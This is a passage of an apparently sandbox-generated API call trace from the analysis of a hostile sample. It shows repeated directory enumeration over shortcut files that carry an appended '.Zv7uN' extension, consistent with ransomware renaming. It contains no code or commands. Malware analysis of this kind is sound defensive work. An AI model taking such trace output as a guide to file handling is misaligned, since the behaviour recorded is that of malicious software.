lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.952] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2866a60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d7f5800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4ee5cfc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1992, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Jyh1PVUP5TT-PP.lnk.Zv7uN", cAlternateFileName="JYH1PV~1.ZV7")) returned 1 [0084.952] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.952] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.952] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2037ec0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2037ec0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ee5cfc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="kaymVO_E ijSZ80WGb.lnk.Zv7uN", cAlternateFileName="KAYMVO~1.ZV7")) returned 1 [0084.952] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.952] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.952] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2677880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2677880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ee83120, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa1b, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="KdBdOCDBxl.lnk.Zv7uN", cAlternateFileName="KDBDOC~1.ZV7")) returned 1 [0084.952] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.952] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.952] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe275c0c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2dc1be0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4eecf3e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe60, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="Kg8xgQynXm64WDLJJ.lnk.Zv7uN", cAlternateFileName="KG8XGQ~1.ZV7")) returned 1 [0084.952] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.952] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.952] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe14e9640, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe14e9640, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4eecf3e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1abb, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="kgcPTg_QemXoYwIC0.lnk.Zv7uN", cAlternateFileName="KGCPTG~1.ZV7")) returned 1 [0084.953] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.953] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.953] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24d4960, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe24d4960, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4eef5540, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ltiqqiyzz50.lnk.Zv7uN", cAlternateFileName="LTIQQI~1.ZV7")) returned 1 [0084.953] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.953] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.953] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c59b00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d417440, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4ef1b6a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1360, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="m-XSe-Rm7qDih2.lnk.Zv7uN", cAlternateFileName="M-XSE-~1.ZV7")) returned 1 [0084.953] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.953] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.953] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1796f00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1796f00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4ef67960, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1467, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="MqJoN1slSECN 8iZ4uI.flv.lnk.Zv7uN", cAlternateFileName="MQJON1~1.ZV7")) returned 1 [0084.953] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.953] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.953] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1724ae0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1724ae0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4efb3c20, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="mQqJLf-H9R2.lnk.Zv7uN", cAlternateFileName="MQQJLF~1.ZV7")) returned 1 [0084.953] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.953] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.953] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1026a40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1026a40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4efd9d80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x144d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="mSDpfr6aM.lnk.Zv7uN", cAlternateFileName="MSDPFR~1.ZV7")) returned 1 [0084.953] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.953] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.953] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf0c2820, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe38c41a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4efffee0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="My Music.lnk.Zv7uN", cAlternateFileName="MYMUSI~1.ZV7")) returned 1 [0084.954] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.954] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.954] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe149d380, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3179e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f026040, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x54f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="My Pictures.lnk.Zv7uN", cAlternateFileName="MYPICT~1.ZV7")) returned 1 [0084.954] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.954] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.954] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e6ee40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d7833e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4f04c1a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x539, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="My Videos.lnk.Zv7uN", cAlternateFileName="MYVIDE~1.ZV7")) returned 1 [0084.954] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.954] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.954] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2651720, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2651720, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f04c1a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x261, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="n2KIK6waBvBzsoa2.lnk.Zv7uN", cAlternateFileName="N2KIK6~1.ZV7")) returned 1 [0084.954] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.954] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.954] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e94fa0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1e94fa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f156b40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9b3, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="n7T_pRq.flv.lnk.Zv7uN", cAlternateFileName="N7T_PR~1.ZV7")) returned 1 [0084.954] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.954] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.954] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe363ca40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe363ca40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f1a2e00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x151a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="n8TSq6Rxej90Ypz.lnk.Zv7uN", cAlternateFileName="N8TSQ6~1.ZV7")) returned 1 [0084.954] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.954] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.954] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2e0dea0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2e0dea0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f1c8f60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="N8umJoiWNw2WcG.lnk.Zv7uN", cAlternateFileName="N8UMJO~1.ZV7")) returned 1 [0084.955] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.955] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.955] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bd2a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2bd2a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f1ef0c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x2035, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="nASdIGvuK.lnk.Zv7uN", cAlternateFileName="NASDIG~1.ZV7")) returned 1 [0084.955] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.955] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.955] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe104cba0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe104cba0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f215220, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ngYhIzBqjK2r.lnk.Zv7uN", cAlternateFileName="NGYHIZ~1.ZV7")) returned 1 [0084.955] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.955] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.955] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfbc4de0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d358d60, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4f31fbc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x93b, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="nNUix.lnk.Zv7uN", cAlternateFileName="NNUIXL~1.ZV7")) returned 1 [0084.955] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.955] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.955] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f9f940, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f9f940, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f36be80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="noOt.lnk.Zv7uN", cAlternateFileName="NOOTLN~1.ZV7")) returned 1 [0084.955] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.955] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.956] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7a9540, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d7a9540, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4f391fe0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x991, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="o1L10dnO.lnk.Zv7uN", cAlternateFileName="O1L10D~1.ZV7")) returned 1 [0084.956] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.956] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.956] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d737120, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d737120, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4f3b8140, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xf9f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="OCI93tz5rnG3Offp.lnk.Zv7uN", cAlternateFileName="OCI93T~1.ZV7")) returned 1 [0084.956] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.956] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.956] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe18c7a00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe18c7a00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f3de2a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x20a1, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="osnW47dF.lnk.Zv7uN", cAlternateFileName="OSNW47~1.ZV7")) returned 1 [0084.956] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.956] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.956] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe03352a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d547f40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x4f4c2ae0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xec3, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="oXu8xlNDfHLVRyrz.lnk.Zv7uN", cAlternateFileName="OXU8XL~1.ZV7")) returned 1 [0084.956] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.956] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.956] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf858e40, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf858e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f4e8c40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa79, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="p0SinzaP1mEbUlrC.lnk.Zv7uN", cAlternateFileName="P0SINZ~1.ZV7")) returned 1 [0084.956] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.956] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.956] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe30231e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe30231e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f50eda0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe12, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="P1RaoM.flv.lnk.Zv7uN", cAlternateFileName="P1RAOM~1.ZV7")) returned 1 [0084.956] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.957] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.957] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf42e7c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2546d80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x4f534f00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x13f4, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="POBCiS.lnk.Zv7uN", cAlternateFileName="POBCIS~1.ZV7")) returned 1 [0084.957] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.957] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.957] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ea6420, 